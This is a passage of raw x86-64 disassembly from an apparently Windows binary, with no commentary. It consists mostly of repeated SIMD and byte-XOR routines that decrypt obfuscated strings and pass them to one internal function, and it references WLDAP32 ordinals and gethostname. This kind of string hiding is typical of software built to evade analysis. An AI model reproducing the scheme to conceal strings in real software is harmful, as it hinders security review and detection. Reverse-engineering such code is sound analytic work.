movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xc54]
mov edx, dword [rbp + 0x17a0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14009c690
cmp r8d, 0x12
jge 0x14009c7e0
movsxd rax, r8d
lea r9, [rbp + 0xc50]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x14009c7b0
mov eax, dword [str.p_WH]
mov dword [rbp - 0x40], eax
movzx eax, word [0x14014609c]
mov word [rbp - 0x3c], ax
mov byte [rbp - 0x40], 0x48
xor byte [rbp - 0x3f], 0x39
xor byte [rbp - 0x3e], 0x3a
xor byte [rbp - 0x3d], 0x3b
xor byte [rbp - 0x3c], 0x3c
xor byte [rbp - 0x3b], 0x3d
lea r8, [0x1401a98be]
lea rdx, [rbp + 0xc50]
lea rcx, [rbp - 0x40]
call fcn.14007f300
movups xmm0, xmmword [0x140144bb8]
movups xmmword [rbp + 0xc38], xmm0
movzx eax, word [0x140144bc8]
mov word [rbp + 0xc48], ax
cmp byte [0x140144bc9], 0
je 0x14009c9e0
mov r8d, r13d
cmp r12d, 2
jl 0x14009c999
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xc3c]
mov edx, dword [rbp + 0x17a0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14009c890
cmp r8d, 0x12
jge 0x14009c9e0
movsxd rax, r8d
lea r9, [rbp + 0xc38]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x14009c9b0
mov eax, dword [0x1401448a8]
mov dword [rbp - 0x38], eax
movzx eax, word [0x1401448ac]
mov word [rbp - 0x34], ax
mov byte [rbp - 0x38], 0x41
xor byte [rbp - 0x37], 0x39
xor byte [rbp - 0x36], 0x3a
xor byte [rbp - 0x35], 0x3b
xor byte [rbp - 0x34], 0x3c
xor byte [rbp - 0x33], 0x3d
lea r8, [0x1401aa8e9]
lea rdx, [rbp + 0xc38]
lea rcx, [rbp - 0x38]
call fcn.14007f300
movups xmm0, xmmword [0x140144a98]
movups xmmword [rbp + 0xe48], xmm0
mov eax, dword [0x140144aa8]
mov dword [rbp + 0xe58], eax
movzx eax, byte [0x140144aac]
mov byte [rbp + 0xe5c], al
mov r8d, r13d
cmp r12d, 2
jl 0x14009cb99
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xe4c]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14009ca90
cmp r8d, 0x15
jge 0x14009cbe0
movsxd rax, r8d
lea r9, [rbp + 0xe48]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x14009cbb0
movsd xmm0, qword [str.PIO_S_Z_]
movzx eax, byte [0x1401458f8]
movsd qword [rbp + 0x2a0], xmm0
mov byte [rbp + 0x2a0], 0x44
xor byte [rbp + 0x2a1], 0x39
xor byte [rbp + 0x2a2], 0x3a
xor byte [rbp + 0x2a3], 0x3b
xor byte [rbp + 0x2a4], 0x3c
xor byte [rbp + 0x2a5], 0x3d
xor byte [rbp + 0x2a6], 0x3e
xor byte [rbp + 0x2a7], 0x3f
xor al, 0x40
mov byte [rbp + 0x2a8], al
lea r8, [0x1401aa8ed]
lea rdx, [rbp + 0xe48]
lea rcx, [rbp + 0x2a0]
call fcn.14007f300
movsd xmm0, qword [0x140145f10]
movsd qword [rbp + 0x970], xmm0
mov eax, dword [0x140145f18]
mov dword [rbp + 0x978], eax
movzx eax, word [0x140145f1c]
mov word [rbp + 0x97c], ax
movzx eax, byte [0x140145f1e]
mov byte [rbp + 0x97e], al
mov r8d, r13d
cmp r12d, 2
jl 0x14009cd9d
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140145f10]
xorps xmm2, xmm0
movd dword [rbp + 0x970], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x974]
xorps xmm2, xmm1
movd dword [rbp + 0x974], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x970]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14009cdb0
movzx eax, word [0x1401446e4]
mov word [rsp + 0x68], ax
movzx eax, byte [0x1401446e6]
mov byte [rsp + 0x68], 0x49
xor byte [rsp + 0x69], 0x39
xor al, 0x3a
mov byte [rsp + 0x6a], al
lea r8, [0x1401a98de]
lea rdx, [rbp + 0x970]
lea rcx, [rsp + 0x68]
call fcn.14007f300
movups xmm0, xmmword [0x140144fe8]
movups xmmword [rbp + 0xed8], xmm0
mov eax, dword [0x140144ff8]
mov dword [rbp + 0xee8], eax
movzx eax, byte [0x140144ffc]
mov byte [rbp + 0xeec], al
mov r8d, r13d
cmp r12d, 2
jl 0x14009cf99
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xedc]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14009ce90
cmp r8d, 0x15
jge 0x14009cfe0
movsxd rax, r8d
lea r9, [rbp + 0xed8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x14009cfb0
movsd xmm0, qword [str.vXWHYL_]
movzx eax, byte [0x1401464d8]
movsd qword [rbp + 0x2b0], xmm0
mov byte [rbp + 0x2b0], Ordinal_79
xor byte [rbp + 0x2b1], 0x39
xor byte [rbp + 0x2b2], 0x3a
xor byte [rbp + 0x2b3], 0x3b
xor byte [rbp + 0x2b4], 0x3c
xor byte [rbp + 0x2b5], 0x3d
xor byte [rbp + 0x2b6], 0x3e
xor byte [rbp + 0x2b7], 0x3f
xor al, 0x40
mov byte [rbp + 0x2b8], al
lea r8, [0x1401aa8ec]
lea rdx, [rbp + 0xed8]
lea rcx, [rbp + 0x2b0]
call fcn.14007f300
movups xmm0, xmmword [0x140146768]
movups xmmword [rbp + 0x1150], xmm0
movsd xmm0, qword [0x140146778]
movsd qword [rbp + 0x1160], xmm0
movzx eax, word [0x140146780]
mov word [rbp + 0x1168], ax
cmp byte [0x140146781], 0
je 0x14009d220
mov r8d, r13d
cmp r12d, 2
jl 0x14009d1d9
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x1154]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14009d0d0
cmp r8d, 0x1a
jge 0x14009d220
movsxd rax, r8d
lea r9, [rbp + 0x1150]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14009d1f0
movsd xmm0, qword [str.PIXSOZ]
movsd qword [rbp + 0x830], xmm0
mov eax, dword [str..__7E]
mov dword [rbp + 0x838], eax
movzx eax, word [0x14014532c]
mov word [rbp + 0x83c], ax
cmp byte [0x14014532d], 0
je 0x14009d3b0
mov r8d, r13d
cmp r12d, 2
jl 0x14009d36c
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.PIXSOZ]
xorps xmm2, xmm0
movd dword [rbp + 0x830], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x834]
xorps xmm2, xmm1
movd dword [rbp + 0x834], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x830]
add r9, rax
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14009d380
lea r8, [0x1401a983e]
lea rdx, [rbp + 0x1150]
lea rcx, [rbp + 0x830]
call fcn.14007f300
movups xmm0, xmmword [0x140144390]
movups xmmword [rbp + 0x1058], xmm0
movsd xmm0, qword [0x1401443a0]
movsd qword [rbp + 0x1068], xmm0
cmp byte [reloc.WLDAP32.dll_Ordinal_79], 0
je 0x14009d580
cmp r12d, 2
jl 0x14009d542
movdqa xmm5, xmmword [0x140149500]
mov edx, r13d
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x105c]
mov r8d, dword [rbp + 0x17a0]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x14009d440
jmp 0x14009d580
lea r9, [rbp + 0x1058]
mov r8d, r13d
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x14009d550
movsd xmm0, qword [0x1401454d0]
movsd qword [rbp + 0x570], xmm0
mov eax, dword [0x1401454d8]
mov dword [rbp + 0x578], eax
cmp byte [0x1401454db], 0
je 0x14009d700
mov r8d, r13d
cmp r12d, 2
jl 0x14009d6be
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401454d0]
xorps xmm2, xmm0
movd dword [rbp + 0x570], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x574]
xorps xmm2, xmm1
movd dword [rbp + 0x574], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x570]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14009d6d0
lea r8, [0x1401a98bf]
lea rdx, [rbp + 0x1058]
lea rcx, [rbp + 0x570]
call fcn.14007f300
movups xmm0, xmmword [0x140144c78]
movups xmmword [rbp + 0xab0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14009d8c0
cmp r12d, 2
jl 0x14009d882
movdqa xmm5, xmmword [0x140149500]
mov edx, r13d
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xab4]
mov r8d, dword [rbp + 0x17a0]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14009d780
jmp 0x14009d8c0
lea r9, [rbp + 0xab0]
mov r8d, r13d
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14009d890
movzx eax, word [0x140144c48]
movsd xmm0, qword [0x140144c40]
mov word [rbp + 0x4d8], ax
movsd qword [rbp + 0x4d0], xmm0
movzx eax, byte [0x140144c4a]
mov byte [rbp + 0x4d0], gethostname
xor byte [rbp + 0x4d1], 0x39
xor byte [rbp + 0x4d2], 0x3a
xor byte [rbp + 0x4d3], 0x3b
xor byte [rbp + 0x4d4], 0x3c
xor byte [rbp + 0x4d5], 0x3d
xor byte [rbp + 0x4d6], 0x3e
xor byte [rbp + 0x4d7], 0x3f
xor byte [rbp + 0x4d8], 0x40
xor byte [rbp + 0x4d9], 0x41
xor al, 0x42
mov byte [rbp + 0x4da], al
lea r8, [0x1401ab1dd]
lea rdx, [rbp + 0xab0]
lea rcx, [rbp + 0x4d0]
call fcn.14007f300
call fcn.14000cdc0
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.140016940
mov eax, dword [0x140145850]
mov dword [rbp - 8], eax
movzx ecx, word [0x140145854]
mov word [rbp - 4], cx
movzx eax, byte [0x140145856]
mov byte [rbp - 8], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp - 7], 0x39
xor byte [rbp - 6], 0x3a
xor byte [rbp - 5], 0x3b
xor cl, 0x3c
mov byte [rbp - 4], cl
